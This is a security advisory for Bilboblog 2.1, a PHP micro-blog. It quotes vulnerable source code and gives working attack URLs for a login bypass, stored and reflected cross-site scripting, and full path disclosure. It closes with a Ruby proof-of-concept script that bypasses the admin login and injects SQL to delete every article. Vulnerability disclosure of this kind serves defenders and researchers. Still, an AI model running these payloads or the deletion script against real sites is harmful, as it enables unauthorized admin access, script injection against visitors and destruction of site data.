bilboblog-multi.txt

`------------------------------------------------------------------  
  
Name : Bilboblog 2.1 Multiples Vulnerabilities  
Description : Bilboblog is a small application of micro-blogging in Php / MySQL  
Link : http://www.tux-planet.fr/bilboblog-version-021-english-translation/  
  
Vuln. types : Login Bypass - Cross Site Scripting - SQL Injection - Full Path Disclosure  
  
Conditions : - SQL Injection : Magic Quotes Off  
- Login Bypass, XSS : Register Globals On  
  
Credits : Black_H <[email protected]>  
  
------------------------------------------------------------------  
  
  
.: I. Login Bypass  
-------------------  
  
This vulnerability need register_global on.  
The file "admin/index.php" (and most of the admin files) includes the file 'login.php' (at line 23) which contains :  
  
22| session_start();  
23| $checkLogin = false;  
24| #echo "toto".$_SESSION['admin_login']; // note: wtf ??  
25| if(!isset($_SESSION['admin_login'])) {  
26|  
27| # Check form values  
28| if (isset($_POST) && (!empty($_POST['admin_login'])) && (!empty($_POST['admin_passwd'])) ) {  
29|  
30| # Get Session vriables  
31| $admin_login = trim($_POST['admin_login']);  
32| $admin_passwd = trim($_POST['admin_passwd']);  
33|  
34| # Check login  
35| if($admin_login == $login && $admin_passwd == $password) {  
36| $checkLogin = true;  
37| $_SESSION['admin_login'] = $admin_login;  
38| $_SESSION['admin_passwd'] = $admin_passwd;  
39| }  
40| }  
41|  
42| } else {  
43| $checkLogin = true;  
44| }  
45|  
46| 22| if(!$checkLogin) {  
47|  
48| # Print login form  
[...]  
58| exit(0);   
59| }  
  
So, we need the session 'admin_login' ( $_SESSION['admin_login'] ) to have admin rights in all files. The script checks  
if we have post good login and pass or not. It's look like good, but if we call directly the login.php file,  
the $login and $password variable are not defined. We can set them with register_globals on, valid the form with  
the same value and so set $_SESSION['admin_login'].  
  
In facts, go on the page http://site.com/bilboblog/admin/login.php?login=1&password=1 and fill the forms with '1' value  
and submit. Because checkLogin is true nothing is printed and you're admin :)))  
  
  
  
.: II. Cross Site Scripting  
----------------------------  
  
1) Permanent XSS  
  
When an admin ( legitim or not :)) ) post an article, the enCode function is applied to the content :  
  
---- 'admin/update.php'  
  
25| # Check values  
26| if(isset($_POST['content']) && $_POST['content'] != "") {  
27| $content = enCode(substr(trim($_POST['content']), 0, $limit_post));  
[...]  
36| # Insert new content  
37| $sql = "INSERT INTO $db_table VALUES ('', '".time()."', '$content');";  
38| $result = mysql_query($sql);  
  
---- 'admin/function.php'  
  
141| function enCode($chaine) {  
142|  
[...] // # Youtube & Dailymotion encode url  
145|  
146| # Detect string encoding  
147| $encodage = mb_detect_encoding($chaine);  
148| if($encodage == "ASCII") $encodage = "iso-8859-1"; # Htmlentities unknown ASCII  
149|   
150| # Convert special char to html code  
151| $chaine = htmlentities($chaine,ENT_QUOTES,$encodage);  
152| $chaine = addslashes($chaine);  
153|   
154| # Return result  
155| return $chaine;  
156| }  
  
The function clean all html chars in the content that we've submit.  
It protects the user against XSS in all pages of the blog but in the 'widget.php' file stripslashes()  
and html_entity_decode() functions is applied to the content which is printed !  
So je just need to get admin rights (see upper) post malicious code and share widget.php's url to the victim.  
  
2) Unpermanents XSS  
  
The file "index.php" includes the file 'head.php' (at line 21) which contains :  
  
44| if ($_SERVER['QUERY_STRING'] != "" && intval($_SERVER['QUERY_STRING']) != "") {  
[...]  
55| $titleId = str2Url($liste[2], 100, 0).' - '.$title;  
56| }  
  
78| <title><?php if(!empty($titleId)) { echo $titleId; } else { echo $title; } ?></title>  
79| </head>  
  
When a page is loaded, the script checks if a number is present in the url to see if she could print an article.  
If the URL ( $_SERVER['QUERY_STRING'] ) contains a number (the id) the script load the article corresponding to the id  
in $_SERVER['QUERY_STRING'].  
  
If $_SERVER['QUERY_STRING'] (the url) do not contain a number, the variable $titleId is not set and print :  
we can define it on add a parameter titleId in the url and his value will be printed on the web page.  
But, the variable $titleId is betwenn the <head> balise, so we need to add </title></head><body> before the malicious code.  
We have : http://site.com/bilboblog/?titleId=TITLE</title></head><body><script>alert(1);</script>  
  
Anyway, there are unfunny XSS in admin files and 'footer.php' :  
  
http://site.com/bilboblog/footer.php?t_lang[lang_copyright]=XSS  
http://site.com/bilboblog/admin/?content=</textarea>XSS  
http://site.com/bilboblog/admin/homelink.php?url=">XSS  
http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_help]=XSS  
http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_clear_cache]=XSS  
http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_home]=XSS  
http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_logout]=XSS  
  
and also in /admin/post.php ...  
  
  
  
.: III. SQL Injection  
----------------------  
  
In admin panel, we can delete articles by sending article's id we want to supress to the script delete.php  
which clean the id of spaces and include it in a basic sql query :  
  
25| # Check values  
26| if(isset($_POST['num']) && $_POST['num'] != "") {  
27| $article = trim($_POST['num']);  
  
36| # Insert new content // It's look like a copy/paste :))  
37| $sql = "DELETE FROM $db_table WHERE num_article = '$article';";  
38| $result = mysql_query($sql);   
  
So, with magic_quotes off, we can inject sql code in the query and, by example, delete all entries  
(all articles) in the database.  
To delete all entries, we must send a post request to delete.php, for the poc see at the end of file.  
  
  
  
.: IV. Full Path Disclosure  
----------------------------  
  
And to finish, the are to FPD which can be exploited for a server attack or in sql injection :  
http://localhost/Audits/bilboblog/footer.php?enable_cache=false  
http://localhost/Audits/bilboblog/pagination.php // don't need any conditions  
  
  
  
.: Õ. SQL INJECTION POC (Ruby)  
---------------------------------------  
  
# -- CUT  
  
# Config  
host = 'site.com'  
path = '/bilboblog/'  
# -- End  
  
require 'net/http'  
http = Net::HTTP.new(host)  
  
data = { 0 => "admin_login=1&admin_passwd=1", 1 => "num=-1' OR num_article > 0#" }  
resp = http.post(path+'admin/login.php?login=1&password=1', data[0])  
  
cookie = { 'Cookie' => resp.response['set-cookie'] }  
resp = http.post(path+'admin/delete.php', data[1], cookie)  
if(resp.code.to_s == '302') : puts 'Done !' end  
  
  
# -- EOF  
  
  
Black_H <[email protected]> - blackh.eu  
http://blackh.eu/Advisories/Billboblog_2.1_Advisories.txt  
  
  
`